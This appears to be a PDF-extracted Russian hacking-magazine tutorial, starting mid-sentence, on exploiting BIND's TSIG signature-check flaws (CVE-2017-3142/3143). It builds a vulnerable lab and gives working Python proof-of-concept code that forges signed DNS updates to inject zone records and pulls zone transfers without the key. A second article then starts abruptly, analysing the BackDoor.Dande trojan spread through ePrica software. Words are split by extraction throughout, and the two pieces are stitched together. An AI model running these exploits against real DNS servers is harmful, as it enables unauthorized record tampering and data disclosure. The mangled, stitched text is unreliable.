ет, что уяз вимы сле дующие вер сии про дук тов:

от 9.4.0 до 9.8.8;•
от 9.9.0 до 9.9.10 P1;•
от 9.10.0 до 9.10.5 P1;•
от 9.11.0 до 9.11.1 P1;•
от 9.9.3 S1 до 9.9.10 S2;•
от 9.10.5 S1 до 9.10.5 S2.•

Так что если ты счас тли вый обла датель одной из них, то ско рее обновляй ся.

Тес товый стенд
Что бы в пол ной мере нас ладить ся изу чени ем проб лемы, нуж но эму лиро вать
иде аль ные  усло вия  ее  воз никно вения.  Для  это го  по  ста рин ке  возь мем
Docker.

В  интерне те  ты  можешь  най ти  мас су  спо собов  уста нов ки  и  нас трой ки
BIND,  а  здесь  я  про бегусь  по  клю чевым  момен там,  которые  поз волят  вос‐ 
создать ситу ацию, ког да ата ка воз можна.

Пер вое,  что  нуж но  сде лать  пос ле  уста нов ки  BIND,  —  это  скон фигури‐ 
ровать  новую  зону  в  DNS‐сер вере.  В  этом  нам  поможет  файл 

.
/etc/bind/

named.conf.local
Соз даем  TSIG‐ключ,  даем ему  про изволь ное  имя  и  ука зыва ем  алго ритм,

который будет исполь зовать ся для генера ции сиг натур при обще нии кли ента
с сер вером DNS (и наобо рот).

/etc/bind/named.conf.local

1: key "guess_tsig_key" {
2:     algorithm hmac‐sha256;
3:     secret "dmVyeXNlY3JldG1lZ2FrZXk=";
4: };

Для  успешной  экс плу ата ции  уяз вимос ти  ата кующе му  нуж но  уга дать  ключ
и алго ритм хеширо вания.

Да лее нас тра иваем саму зону  (я задал  ) и опре деля ем,
для  каких  зап росов  нуж но  исполь зовать  валида цию  через  про токол  TSIG
и соот ветс тву ющий ключ.

bind.visualhack

06: zone "bind.visualhack" {
07:     type master;
08:     file "/etc/bind/zones/bind.visualhack.db";
09:     allow‐transfer {key guess_tsig_key;};
10:     allow‐update {key guess_tsig_key;};
11: };

По мимо  про чего,  нам  понадо бит ся  какой‐нибудь  сниф фер,  нап ример
tcpdump.

Ес ли не хочешь со всем этим возить ся, то прос то ска чивай 
  из  моего  репози тория.  В  нем  исполь зует ся  уяз вимая  вер сия  BIND

9.10.5. Запус кай скрипт  , он сде лает все необ ходимое, тебе оста нет ся
толь ко запус тить сам сер вер коман дой  .

го товый файл
Docker

run.sh
named ‐g

Go‐go‐go!

Об щие детали
Для  начала  пос мотрим,  как  выг лядит  легитим ный  зап рос  на  zone  transfer.
Это  дела ется  ути литой  dig,  но  сна чала  пос тавим  tcpdump  в  режим монито‐ 
рин га  тра фика  DNS.  Что бы  вклю чить  TSIG  в  зап росах,  нуж но  ука зать  ключ
с помощью опции  . Фор мат такой:  .‐y ‐y algorithm:keyname:keyvalue

tcpdump ‐lvi any ‐w dns.pcap
dig ‐t axfr @127.0.0.1 bind.visualhack ‐y 'hmac‐sha256:guess_
tsig_key:dmVyeXNlY3JldG1lZ2FrZXk='

Сни фаем тра фик зап роса AXFR

Пой малось нес коль ко пакетов, давай пос мотрим на них.

Па кет с отве том на AXFR‐зап рос

На скри не вид но TSIG, который сге нери ровал сер вер на осно ве нашего клю‐ 
ча. Фор мат отве та опи сан в  . Сог ласно спе цифи кации все зап росы
при обще нии дол жны быть под писаны. Сама под пись генери рует ся на осно ве
сле дующих ком понен тов:

RFC 2845

раз мер MAC  (Message  authentication  code,  дай джест)  зап роса.  Под  него
выделя ется два бай та;

•

MAC‐зап рос;•
DNS‐сооб щение отве та;•
ключ TSIG‐отве та.•

Да лее в этой же RFC в   ука зано, что если зап рос выз вал ошиб‐ 
ку и эта ошиб ка не име ет отно шения непос редс твен но к TSIG, то в ответ дол‐ 
жен уле теть пакет с под писью, которая будет сге нери рова на в соот ветс твии
с ука зан ными выше парамет рами.

па раг рафе 4.3

Все логич но, но какое отно шение это име ет к уяз вимос ти? Дело в том, что,
ког да сер вер обра баты вает зап рос, где сиг натура име ет некор рек тную дли ну
(нап ример,  боль ше  той,  что  пред полага ет  выб ранный  алго ритм),  BIND  воз‐ 
вра щает  ошиб ку  типа    (невер ный фор мат  пакета),  хотя  дол жен  был
вер нуть ошиб ку в про токо ле TSIG.

FORMERR

За наличие или отсутс твие оши бок отве чает атри бут  . Одна ко
логика  фун кции  ,  которая  осу щест вля ет  про вер ку  сиг‐ 
натуры, работа ет некор рек тно и не обновля ет его.

tsigstatus
dns_tsig_verify

/lib/dns/tsig.c

1168: isc_result_t
1169: dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
1170:       dns_tsig_keyring_t *ring1, dns_tsig_keyring_t *ring2)
1171: {
...
1308:   /*
1309:    * Check digest length.
1310:    */
1311:   alg = dst_key_alg(key);
1312:   ret = dst_key_sigsize(key, &siglen);
1313:   if (ret != ISC_R_SUCCESS)
1314:       return (ret);
1315:   if (alg == DST_ALG_HMACMD5 || alg == DST_ALG_HMACSHA1 ||
1316:       alg == DST_ALG_HMACSHA224 || alg == DST_ALG_HMACSHA256 ||
1317:       alg == DST_ALG_HMACSHA384 || alg == DST_ALG_HMACSHA512) {
1318:       isc_uint16_t digestbits = dst_key_getbits(key);
1319:       if (tsig.siglen > siglen) {
1320:           tsig_log(msg‐>tsigkey, 2, "signature length to big");
1321:           return (DNS_R_FORMERR); // no msg‐>tsigstatus update!
1322:       }
1323:       if (tsig.siglen > 0 &&
1324:           (tsig.siglen < 10 || tsig.siglen < ((siglen + 1) / 2
))) {
1325:           tsig_log(msg‐>tsigkey, 2,
1326:                "signature length below minimum");
1327:           return (DNS_R_FORMERR); // no msg‐>tsigstatus update!
1328:       }
1329:       if (tsig.siglen > 0 && digestbits != 0 &&
1330:           tsig.siglen < ((digestbits + 1) / 8)) {
1331:           msg‐>tsigstatus = dns_tsigerror_badtrunc; // msg‐>
tsigstatus updated!
1332:           tsig_log(msg‐>tsigkey, 2,
1333:                "truncated signature length too small");
1334:           return (DNS_R_TSIGVERIFYFAILURE);
1335:       }
1336:       if (tsig.siglen > 0 && digestbits == 0 &&
1337:           tsig.siglen < siglen) {
1338:           msg‐>tsigstatus = dns_tsigerror_badtrunc; // msg‐>
tsigstatus updated!
1339:           tsig_log(msg‐>tsigkey, 2, "signature length too 
small");
1340:           return (DNS_R_TSIGVERIFYFAILURE);
1341:       }
1342:   }

Ини циали зиру ется   со зна чени ем  , что озна‐ 
чает отсутс твие оши бок в про токо ле.

tsigstatus dns_rcode_noerror

:/lib/dns/message.c

405: static inline void
406: msginittsig(dns_message_t *m) {
407:    m‐>tsigstatus = dns_rcode_noerror;

Ес ли  оши бок  нет,  то  выпол нение  прог раммы  доходит  до фун кции  соз дания
под писи к сооб щению  , которая сле дует спе цифи кации
RFC. Затем поль зовате лю воз вра щает ся ответ с валид ной TSIG. Из‐за невер‐ 
ной  логики  про вер ки  ата кующий,  исполь зуя  манипу ляции  с  пакетом,  может
зас тавить  сер вер  сфор мировать  валид ную под пись  для  нуж ных  ему  дан ных,
в  том  чис ле  зап росов  на  изме нение  информа ции.  А  затем  исполь зовать
получен ную сиг натуру, что бы зас тавить BIND выпол нить эти зап росы.

dns_message_signer

Бли же к прак тике
Для написа ния PoC я буду исполь зовать Python вер сии 2. Так же нам понадо‐ 
бит ся биб лиоте ка  . Ста вим ее:dnspython

pip install dnspython==1.15.0

Под клю чаем нуж ные нам модули:

import dns.query
import dns.zone
import dns.tsigkeyring
import dns.tsig
import dns.message
import dns.update
from time import time, sleep
from struct import pack

Пер вым шагом  к  успешной  экс плу ата ции будет  соз дание  зап роса‐триг гера,
который  мы  под пишем  невалид ной  под писью,  исполь зуя  TSIG.  Этот  зап рос
будет обра ботан уяз вимой фун кци ей, и мы получим вер ную сиг натуру.

Соб рать  такой  зап рос  ока залось  неп росто,  потому  что  из  короб ки  биб‐ 
лиоте ка  Python  выпол няет  про вер ки  на  эта пе  фор мирова ния  пакета  TSIG.
При попыт ке отпра вить невер но сфор мирован ный пакет получим сооб щение
об ошиб ке.

Не вер но сфор мирован ный триг гер‐пакет при водит к ошиб ке

Что бы обой ти эти про вер ки, мож но при менить  . Пос ле  него  ты
смо жешь ука зывать кас томные зна чения   и   зап роса. Толь ко
сна чала  нуж но  убе дить ся,  что  у  тебя  уста нов лен    имен но  вер‐ 
сии  1.15.0 —  с  дру гими  патч  может  не  сра ботать.  Если  же  ты  исполь зуешь
мой докер‐стенд, то там ничего пат чить не нуж но, все уже сде лано.

вот этот патч
digest timestamp

dnspython

На ша  сле дующая  задача —  отпра вить  зап рос  с  некор рек тной  под писью
на сер вер, что бы пос мотреть, как он отре аги рует, и понять алго ритм экс плу‐ 
ата ции.

# create the trigger request
zone = "bind.visualhack"
trigger = dns.update.Update(zone)

где   — наз вание зоны, в которую будем вно сить изме нения, мы ука зыва‐ 
ли ее в кон фиге  .

zone
named.conf.local

# enable TSIG with a valid keyname
keyname = "guess_tsig_key"
keyring = dns.tsigkeyring.from_text({
   keyname: 'wrong_key'.encode('base64')
})
trigger.use_tsig(keyring, keyname=keyname, algorithm=dns.tsig.HMAC_S
HA256)

Здесь   —  это  имя  клю ча  TSIG,  зна чение  может  быть  любым; 
 — алго ритм, который исполь зует ся для фор мирова ния под писи.
keyname algo‐

rithm

# alter the digest
trigger.request_hmac = '\x00'*0x40
dns.query.tcp(trigger, '127.0.0.1')

Ука зыва ем  кас томную  под пись  и  отправ ляем  зап рос.  В  логах  BIND  мож но
уви деть пре дуп режде ние о том, что раз мер под писи некор ректен.

Ошиб ка сер вера пос ле отправ ки пакета с некор рек тной под писью

Пос мотрим, что ска жут нам отловлен ные сниф фером пакеты.

Вид пакета, который при водит к некор рек тно му поведе нию сер вера,
и ответ на него

Взгля ни на пакет зап роса. Вот они, наши 64 бай та нулей, которые мы отпра‐ 
вили в качес тве дай джес та. Ответ от BIND име ет флаг   — вспо мина‐ 
ем  фун кцию  .  Эта  ошиб ка  озна чает,  что  фор мат  пакета
неверен и не отно сит ся к TSIG, поэто му в сек ции допол нитель ных парамет ров
мож но наб людать валид ную под пись. Все по стан дарту.

FORMERR
dns_tsig_verify

Пос мотрим  на  ком понен ты,  которые  исполь зуют ся  для  вычис ления  хеша
сооб щения:

Раз мер  дай джес та,  который  пред став лен  в  виде  16‐бит ного  целого
без зна ка ( ).

•
len(trigger.request_hmac)

Дай джест сооб щения (MAC).•

Дан ные из отве та, исклю чая блок, отно сящий ся к TSIG.•

Блок  TSIG  с  фла гами  оши бок  и  допол нитель ными  атри бута ми  без  дай‐ 
джес та и его раз мера.

•

По ле  дай джес та  сооб щения  учас тву ет  в  фор мирова нии  под писи,  поэто му,
внед ряя  нуж ные  нам  дан ные  в  это  поле,  мы  смо жем  получить  от  сер вера
валид ную сиг натуру.

Продолжение статьи →

http://www.isc.org/
https://kb.isc.org/article/AA-01504/74/CVE-2017-3142
https://kb.isc.org/article/AA-01503/74/CVE-2017-3143
http://www.synacktiv.com/
https://github.com/allyshka/visualhack/tree/master/221/bind
https://tools.ietf.org/html/rfc2535#section-4.2
https://tools.ietf.org/html/rfc2535#section-4.3
https://github.com/allyshka/visualhack/tree/master/221/bind/dnspython.patch


ФОКУСЫ

С DNS
ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ
ПРОТОКОЛА TSIG НА ПРИМЕРЕ

DNS‐СЕРВЕРА BIND

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Экс пло ит. Обновле ние записей DNS
Рас смот рим  при мер  обновле ния  DNS‐записей  зоны  .
Будем добав лять в нее TXT‐запись  .

bind.visualhack
i.am.injected.zone

Как мы уже выяс нили, нам нуж но отпра вить два зап роса: триг гер для соз‐ 
дания валид ной под писи и реаль ный, который будет дей стви тель но изме нять
дан ные.

ts = time()

Пе ремен ная   отве чает за вре мен ной отпе чаток под писи сооб щения (атри‐ 
бут  ). Так как он учас тву ет в рас чете хеш‐сум мы, то в обо их зап‐ 
росах он дол жен быть оди нако вым.

ts
Time Signed

На чина ем фор мировать легитим ный зап рос и сра зу же встре чаем пер вый
под водный  камень  —  атри буты  пакета  отве та  от  сер вера  так же  учас тву ют
в под писи сооб щения. Нуж но учесть это на эта пе соз дания зап роса. Для это‐ 
го  внед рим еще одну  TXT‐запись  ,  которая  будет  добав лять  недос‐ 
тающие  бай ты  к  пакету,  что бы  нивели ровать  раз ницу  в  раз мерах  пакетов.
Стро го говоря, она зависит толь ко от дли ны име ни зоны, в которую про изво‐ 
дит ся запись, поэто му выс читать ее мож но по сле дующей фор муле:

padding

sz = 12 + sum(len(e) + 1 for e in (zone).split('.')) + 1 + 4

Здесь:
12 байт занима ют атри буты Transaction  ID, Flags, Zones, Prerequisites, Up‐
dates, Additional RRs (каж дый по два бай та).

•

Ат рибуты из пакета от сер вера

• Дли на  име ни  ука зан ной  домен ной  зоны.  Оно  раз бива ется  по  уров ням,
и для  каж дой  час ти  ука зыва ется ее дли на,  поэто му добав ляем еще один
байт. Нап ример,  : 04 + bind + 0A + visualhack.bind.visualhack

• 1 байт — мет ка окон чания име ни зоны.

Раз меры име ни домен ной зоны

4 бай та на атри буты Type и Class.•

Раз меры атри бутов домен ной зоны

Те перь, ког да мы обла даем нуж ной информа цией, генери руем сам зап рос.

def get_update(zone, size_to_absorb):
   req = dns.update.Update(zone)
   # update this with whatever change you want to do
   req.delete('i.am.injected.zone', 'txt')
   req.add('i.am.injected.zone', 3600, 'txt', 'injected')
   # padding needed to absorb the appended answer data
   req.delete('padding', 'txt')
   req.add('padding', 3600, 'txt', 'A' * size_to_absorb)
   return req
# create the forged request
forged = get_update(zone, sz)

Фун кция    занима ется  тем,  что  добива ет  раз мер  пакета  до  нуж‐ 
ного.

get_update

Те перь дело за зап росом‐триг гером. Соз даем его.

# create the trigger request
trigger = dns.update.Update(zone)
keyring = dns.tsigkeyring.from_text({
   keyname: 'wrong_key'.encode('base64')
})
trigger.use_tsig(keyring, keyname=keyname, algorithm=dns.tsig.HMAC_S
HA256)

При соз дании исполь зуем валид ное имя клю ча TSIG и любое зна чение. Ука‐ 
зыва ем алго ритм. Это как раз те два парамет ра, что мы дол жны узнать, уга‐ 
дать или сбру тить для успешной экс плу ата ции в реаль ных кей сах.

Те перь  нуж но  под готовить  содер жимое  легитим ного  зап роса,  для  того
что бы ука зать его в поле дай джес та зап роса‐триг гера.

Под готов ка вклю чает в себя сле дующие пун кты:
ис клю чаем бай ты, которые отве чают за дли ну зап роса;•

• ис клю чаем  бай ты,  которые  мы  добав ляли,  что бы  выров нять  раз меры
пакетов, для под сче та вер ной хеш‐сум мы.

forged_data = forged.to_wire()
forged_data = forged_data[2:‐sz]
# set trigger hmac to forged request
trigger.request_hmac = forged_data

Вруч ную  ука зыва ем  вре мен ную  мет ку  под писания  зап роса  и  отправ ляем
триг гер‐зап рос на сер вер.

trigger.time_func = lambda: ts
print '[+] sending trigger request'
ans = dns.query.tcp(trigger, host)
print '[+] signed request mac is %s' % ans.mac.encode('hex')

Вот какой пакет у нас получит ся.

Триг гер‐пакет, отправ ленный на сер вер

Выш ла  эта кая мат решка —  зап рос  в  зап росе.  А  вот  что  нам  на  это  отве тил
BIND.

От вет от сер вера на триг гер

Все как полага ется. Сер вер вер нул пакет с фла гом «ошиб ка фор мата» (
), который име ет валид ную под пись.

FOR‐
MERR

Те перь,  ког да  хеш‐сум ма  у нас в  кар мане, дело за нас тоящим зап росом
на соз дание TXT‐записи.

Сна чала про пат чим поле Transaction  ID. То,  что было под писью триг гера,
теперь ста новит ся самос тоятель ным пакетом (вспо мина ем, как фор мирова‐ 
лась под пись). Поэто му раз мер дан ных прев раща ется в эле ган тный ID тран‐ 
закции.

Эво люция сиг натуры в пол ноцен ный пакет

# patch id
forged.id = len(forged_data)
forged.use_tsig(keyring, keyname=keyname, original_id=len(
   forged_data), algorithm=dns.tsig.HMAC_SHA256)

Опять исполь зуем ту же вре мен ную мет ку.

# keep same ts
forged.time_func = lambda: ts

Ука зыва ем под пись, которая любез но была пре дос тавле на сер вером.

# replace hmac
forged.request_hmac = ans.mac

Так же  необ ходимо  поменять  байт,  который  отве чает  за  атри бут  Additional
RRs.

# patch additionnal_record_count in pad data ‐> 0
data = ans.to_wire()[:11] + '\x00' + ans.to_wire()[12:sz]
forged.authority[‐1][0].strings[0] = data

От прав ляем получен ный пакет на сер вер.

p = dns.query.tcp(forged, host)
if p.rcode():
   print '[‐] update failed, got errcode %d' % p.rcode()
return

Зап рос отра ботал успешно, что мож но наб людать в логах BIND.

Экс пло ит удал ся. TXT‐запись i.am.injected.zone добав лена

Поз драв ляю,  мы  толь ко  что  про экс плу ати рова ли  уяз вимость 
 с обновле нием DNS‐записей.
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Пол ный код экс пло ита ты можешь   в моем репози тории. Так же там
име ется   с перех вачен ными пакета ми.

ска чать
pcap‐файл

Даль ше  мы  рас смот рим  экс плу ата цию  уяз вимос ти  с  целью  выпол нения
ата ки zone transfer.

Вы пол няем AXFR
Ска жу сра зу, что выпол нить AXFR гораз до про ще. Не нуж но возить ся со сбор‐ 
кой и отправ кой триг гер‐пакета.

Сна чала нам нуж но сно ва заг лянуть в исходни ки. В прош лый раз мы оста‐ 
нови лись на фун кции  .dns_message_signer

/bin/named/client.c

1793:   /*
1794:    * Check for a signature.  We log bad signatures regardless 
of
1795:    * whether they ultimately cause the request to be rejected 
or
1796:    * not.  We do not log the lack of a signature unless we are
1797:    * debugging.
1798:    */
1799:   client‐>signer = NULL;
1800:   dns_name_init(&client‐>signername, NULL);
1801:   result = dns_message_signer(client‐>message, &client‐>signer
name);

Ре зуль тат ее работы зависит от  атри бута  .  А  при невер ной под‐ 
писи, как мы зна ем, он так и оста ется в дефол тном зна чении, что с под писью
все окей.

tsigstatus

/lib/dns/message.c

2892: dns_message_signer(dns_message_t *msg, dns_name_t *signer) {
2893:   isc_result_t result = ISC_R_SUCCESS;
2894:   dns_rdata_t rdata = DNS_RDATA_INIT;
...
2942:       if (msg‐>tsigstatus != dns_rcode_noerror)
2943:           result = DNS_R_TSIGVERIFYFAILURE;
2944:       else if (tsig.error != dns_rcode_noerror)
2945:           result = DNS_R_TSIGERRORSET;
2946:       else
2947:           result = ISC_R_SUCCESS;
...
2969:   return (result);

На радос тях  все осталь ные про вер ки про ходят мимо, и  сер вер счи тает,  что
сиг натура валид ная, и выпол няет отправ ленный зап рос.

/bin/named/client.c

1802:   if (result != ISC_R_NOTFOUND) {
...
1812:   }
1813:   if (result == ISC_R_SUCCESS) {
1814:       char namebuf[DNS_NAME_FORMATSIZE];
1815:       dns_name_format(&client‐>signername, namebuf, sizeof(
namebuf));
1816:       ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
1817:                 NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
1818:                 "request has valid signature: %s", namebuf);
...
1937:   switch (client‐>message‐>opcode) {
1938:   case dns_opcode_query:
1939:       CTRACE("query");
1940:       ns_query_start(client);
1941:       break;

Ви жу,  что  у  тебя  наз рел  логич ный  воп рос:  почему  тог да  обновле ние  зоны
не отра баты вало без  тан цев с пакет ным буб ном? При чина в  том,  что,  ког да
обра баты вают ся  зап росы  типа  ,  про вер ка  сиг натуры  ори енти рует ся
на перемен ную   и там алго ритм не поз воля ет таких фин тов.

update
sigresult

/bin/named/client.c

1942:   case dns_opcode_update:
1943:       CTRACE("update");
1944:       ns_client_settimeout(client, 60);
1945:       ns_update_start(client, sigresult);
1946:       break;

В  ито ге  все,  что  нуж но  для  выпол нения  зап роса  AXFR,  —  это  отпра вить
невалид ное зна чение извес тно го клю ча TSIG.

def exploit(host, zone, keyname):
   keyring = dns.tsigkeyring.from_text({
       keyname: 'dog'.encode('base64')
   })
   axfr = dns.message.make_query(zone, dns.rdatatype.AXFR)
   axfr.use_tsig(keyring, keyname=keyname, algorithm=dns.tsig.HMAC_S
HA256)
   axfr.request_hmac = 'dog' # alter the hmac
   print '[+] sending axfr request'
   ans = dns.query.tcp(axfr, host)
   print ans.to_text()

Экс пло ит отра ботал успешно и вер нул все записи для ука зан ной зоны

Ни чего  слож ного.  Готовый    так же  уют но  рас положил ся  в  репози‐ 
тории.

экс пло ит

Де монс тра ция экс плу ата ции уяз вимос ти (видео)

https://vimeo.com/228192653

Вы воды
Ос тает ся добавить, что не «Бин дом» еди ным, так как ана логич ная уяз вимость
наб люда ется еще в одном (а может, и не одном ;)) DNS‐сер вере — Knot DNS.
Там  все  поч ти  так  же,  толь ко  генера ция  пакетов  нем ного  отли чает ся.  Если
тебе  инте рес но,  можешь  сам  разоб рать ся  в  том,  как  она  экс плу ати рует ся.
Рабочий   из репози тория тебе в помощь.экс пло ит

https://github.com/allyshka/visualhack/blob/master/221/bind/poc.py
https://github.com/allyshka/visualhack/blob/master/221/bind/bind-zone-update-exploit-packets.pcap
https://github.com/allyshka/visualhack/blob/master/221/bind/poc-axfr.py
https://vimeo.com/228192653
https://github.com/allyshka/visualhack/blob/master/221/bind/poc-knotdns.py
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MALWARE

Об наружить  источник  рас простра нения  мал вари  быва ет
порой столь же слож но, как отыс кать чер ный айфон в тем ном
чулане, осо бен но если вла делец чулана пред почита ет смар‐ 
тфо ны  на  Андро иде.  Образцы  вре донос ных  прог рамм
попада ют  в  анти вирус ные  ком пании  раз личны ми  путями —
при ходят  с  пуб личных  сер висов,  ска чива ются  с  замечен ных
в  рас простра нении  вирусов  фай лопомо ек,  заг ружа ются
с  ханипо тов,  кое‐что  при сыла ют  сами  поль зовате ли,  жела‐ 
ющие про верить на сай те вен дора подоз ритель ный файл.

Ра зуме ется,  выяс нить,  где  имен но  поль зователь  под цепил  заразу,  в  боль‐ 
шинс тве слу чаев не пред став ляет ся воз можным. Какие‐то шан сы уста новить
пер воис точник зараже ния появ ляют ся раз ве что при ана лизе сня того с инфи‐ 
циро ван ной  машины  жес тко го  дис ка,  если  на  нем  сох ранились  логи,  ну
или  ког да  сам  вирусо писа тель  под ста вил ся  по  неос торож ности.  Подоб ное
хоть изредка, но слу чает ся.

Как‐то  раз  при  ана лизе  управля юще го  сер вера  одно го  из  бот нетов  был
обна ружен PHP‐скрипт, пери оди чес ки ски дывав ший ста тис тику отсту ка ботов
СМС‐сооб щени ем  на  мобиль ный  телефон.  С  помощью  велико го  Гуг ла
по  это му  телефон ному  номеру  без  осо бого  тру да  отыс калось  объ явле ние
о про даже авто моби ля, на сним ке которо го отлично читались государс твен‐ 
ные регис тра цион ные зна ки :).

Дру гой гумано ид хра нил на сер вере, отку да раз давал мал варь, собс твен‐ 
ные фотог рафии с датой съем ки, геомет ками и про чей цен ной информа цией
в EXIF.

Еще один юный «хакер» решил зашиф ровать ся по‐взрос лому: на всех про‐ 
филь ных  форумах  вро де  «анти чата»  он  регис три ровал ся  стро го  под  ником
(прав да, вез де одним и тем же) и даже на ано ним ной стра нич ке «ВКон такте»
ста ратель но  пря тал  свое  лицо.  Осо бен но  тща тель но  он  замазы вал  его
на  армей ских  фот ках,  где  пря мо  на  буш лате  была  аршинны ми  бук вами
написа на  его фамилия.  Но  это  ско рее  отдель ные,  не  осо бо  показа тель ные
слу чаи,  пос коль ку  нас тоящие зло деи  так  глу по не попада ются. Они попада‐ 
ются  в  резуль тате  дли тель ных  и  запутан ных  рас сле дова ний,  напоми нающих
порой самый нас тоящий детек тив.

Од на  такая  детек тивная  исто рия  началась шесть  лет  назад.  В  2011  году
поряд ка  двух  тысяч  рос сий ских  аптек  и  фар мацев тичес ких  ком паний  были
целенап равлен но  ата кова ны  тро яном  .  Тро ян  ока зал ся  при‐ 
меча тель ным:  при  запус ке  он  про верял,  уста нов лены  ли  на  ата куемой
машине  спе циали зиро ван ные  прог раммы  для  закуп ки  медика мен тов  вро де
«Ана лит: Фар мация 7.7» для плат формы 1С, «Сис тема элек трон ного заказа»
СЭЗ‐2 про изводс тва ком пании «Апте ка‐Хол динг», прог рамма фор мирова ния
заявок ком пании «Рос сий ская фар мация», сис тема элек трон ного заказа фар‐ 
мацев тичес кой  груп пы  «РОС ТА»,  прог рамма  «Кат рен WinPrice»  и  некото рые
дру гие.  Затем  он  уста нав ливал ся  в  сис тему  и  начинал  красть  информа цию
о закуп ках лекарств, переда вая ее на уда лен ный сер вер.

BackDoor.Dande

По все му выходи ло, что мы име ем дело не прос то с тар гетиро ван ной ата‐ 
кой,  но  с  самым  нас тоящим  актом  про мыш ленно го  шпи она жа.  BackDoor.‐
Dande совер шенс тво вал ся, появ лялись его новые вер сии, одна ко уста новить,
в  чьих  инте ресах  шпи онил  за  апте каря ми  этот  трой,  дол гое  вре мя  не  уда‐ 
валось.

Де ло тро нулось, ког да в нашу вирус ную лабора торию попал жес ткий диск
с заражен ного компь юте ра одной из аптек. На вин те обна ружил ся вре донос‐ 
ный драй вер tapec.sys, который запус кал все осталь ные ком понен ты бэк дора
Dande,  а  в  сис теме  сох ранилось  точ ное  вре мя  соз дания  это го  драй вера.
Вирус ные  ана лити ки  тща тель но  изу чили  все  фай лы,  соз данные  на  машине
в  этот  день,  но  ничего  подоз ритель ного  в  них  не  обна ружи ли.  В  жур нале
EventLog тоже не наш лось ничего инте рес ного.

Тог да  решили  прос каниро вать  все  содер жимое  дис ка  на  наличие  подс‐ 
тро ки tapec.sys, и она дей стви тель но обна ружи лась, при чем дваж ды: в фай ле
под качки  Windows  (pagefile.sys)  и  в  логе  работав шего  на  инфи циро ван ной
машине  анти виру са  Avast  (Avast\URL.db). Этот  лог  пред став ляет  собой базу
дан ных SQLite 3, содер жащую две таб лицы:

sqlite> .schema
CREATE TABLE Paths (Time INTEGER, Path TEXT COLLATE NOCASE UNIQUE, 
ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE TABLE URLs (Time INTEGER, URL TEXT, ShortHash INTEGER, 
LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE INDEX PathsPathIndex ON Paths (Path COLLATE NOCASE);
CREATE INDEX URLsShortHashIndex ON URLs (ShortHash);

В  таб лице  Paths  хра нит ся  спи сок  прог рамм,  которые  запус кались  на  этом
компь юте ре  во  вре мя  работы  анти виру са.  Сде лав  зап рос  к  этой  базе
в  диапа зоне  суток  до  и  пос ле  соз дания  вре донос ного  драй вера  tapec.sys,
ана лити ки обна ружи ли две очень инте рес ные записи:

1461832499|D:\ePrica\App\PriceCompareLoader.dll|2038233152|
1461832500|C:\WINDOWS\system32\drivers\tapec.sys|2510498394|

Ины ми  сло вами,  драй вер  tapec.sys  был  соз дан  ров но  через  секун ду  пос ле
запус ка  динами чес кой  биб лиоте ки  D:\ePrica\App\PriceCompareLoader.dll  —
одно го из ком понен тов при ложе ния ePrica. В свою оче редь, прог рамму ePrica
исполь зуют  руково дите ли  аптек  для  ана лиза  цен  на  лекарс тва  и  выбора
наибо лее под ходящих пос тавщи ков — это доволь но популяр ное при ложе ние
сре ди фар мацев тов, раз работан ное ком пани ей «Спар го Тех нологии».

Биб лиоте ка  PriceCompareLoader.dll  вызыва ется  из  написан ной  на  .NET
обфусци рован ной  биб лиоте ки  PriceComparePm.dll  и  име ет  три  экспор тиру‐ 
емые  фун кции:  MemoryLoadLibrary,  MemoryGetProcAddress  и  MemoryFreeLi‐
brary,  которые  запус кают  динами чес кие  биб лиоте ки  в  памяти.  Ее  фун кци‐ 
ональ ное  наз начение  —  ска чива ние  с  уда лен ного  сер вера,  рас шифров ка
с помощью AES и запуск из памяти полез ной наг рузки.

WWW

Фраг менты  кода  этой  биб лиоте ки,  отве чающе го
за  перечис ленные  фун кции, 

,  я  не  буду  при водить  их  здесь,
что бы не перег ружать статью.

мы  опуб ликова ли
на  нашем  сай те

Об мен дан ными с управля ющим сер вером, с которо го биб лиоте ка и ска чива‐ 
ет ком понен ты BackDoor.Dande, идет по про токо лу SOAP HTTP. А самое инте‐ 
рес ное зак люча ется в том, что этот самый сер вер, как ока залось, рас полага‐ 
ется по адре су  . Имен но с него по зап росу с заголов‐ 
ком    сли вает ся  зашиф‐ 
рован ный  Base 64  уста нов щик  бэк дора  Dande.  С  исполь зовани ем  сер виса
WHOIS  нес ложно  выяс нить,  кому  при над лежит  раз дающий  мал варь  сер вер
eprica.ru:

http://ws.eprica.ru/app/
"SOAPAction":  'http://www.spargo.ru/es/Load'

Ключ Зна чение

До мен EPRICA.RU

Сер вер DNS ns 01.parking.ru.

Сер вер DNS ns 11.parking.ru.

Сос тояние за регис три рован, делеги рован, про верен

Ад минис тра‐ 
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Ор ганиза ция  «JSC  'SPARGO
Technologies'»

Со  стра ницы  ,  рас положен ной  на  этом  же  сер‐ 
вере,  до  недав него  вре мени  мож но  было  ска чать  демо  чет вертой  вер сии
при ложе ния  ePrica,  в  сос таве  которо го  име ется  биб лиоте ка  PriceCompare‐
Loader.dll.  Ее  хеш  пол ностью  сов пада ет  с  хешем  одно имен ной  биб лиоте ки,
которую  мы  наш ли  ранее  на  заражен ной  машине.  А  сама  эта  биб лиоте ка
содер жит кор рек тную циф ровую под пись ком пании SPARGO Technologies —
про изво дите ля ПО для фар мацев тичес кой про мыш леннос ти.

http://eprica.ru/download.html

Циф ровая под пись может выдать соз дателя вируса с головой

В нас тоящее вре мя раз работ чик обно вил вер сию до пятой, но пре дыду щую
редак цию ePrica мож но отыс кать на VirusTotal по сле дующим хешам:

(вер сия, которая ска чива ла бэк дор Dande с сай та);
• d 53290610e6935cd7435d6b5bca 5e9a843e4eb09  setup_4_0_23_17.exe

 (вер сия
со встро енным бэк дором Dande).

• 726613215a29826a33e96486222ec9ff2ad2c077 setup_4_0_14_6.exe

На  этом  ана лити ки  «Док тор  Веб»  решили  не  оста нав ливать ся  и  при нялись
копать даль ше. Бэк дор Dande име ет нес коль ко вер сий, и в каж дой из них раз‐ 
работ чики вно сили опре делен ные изме нения. В ран ней вер сии ePrica, кли ент
которой был реали зован в виде при ложе ния zakaz.exe, хра нил ся код для рас‐ 
шифров ки  пла гинов  Dande  и  запус ка  их  из  памяти.  Для  рас шифров ки  пла‐ 
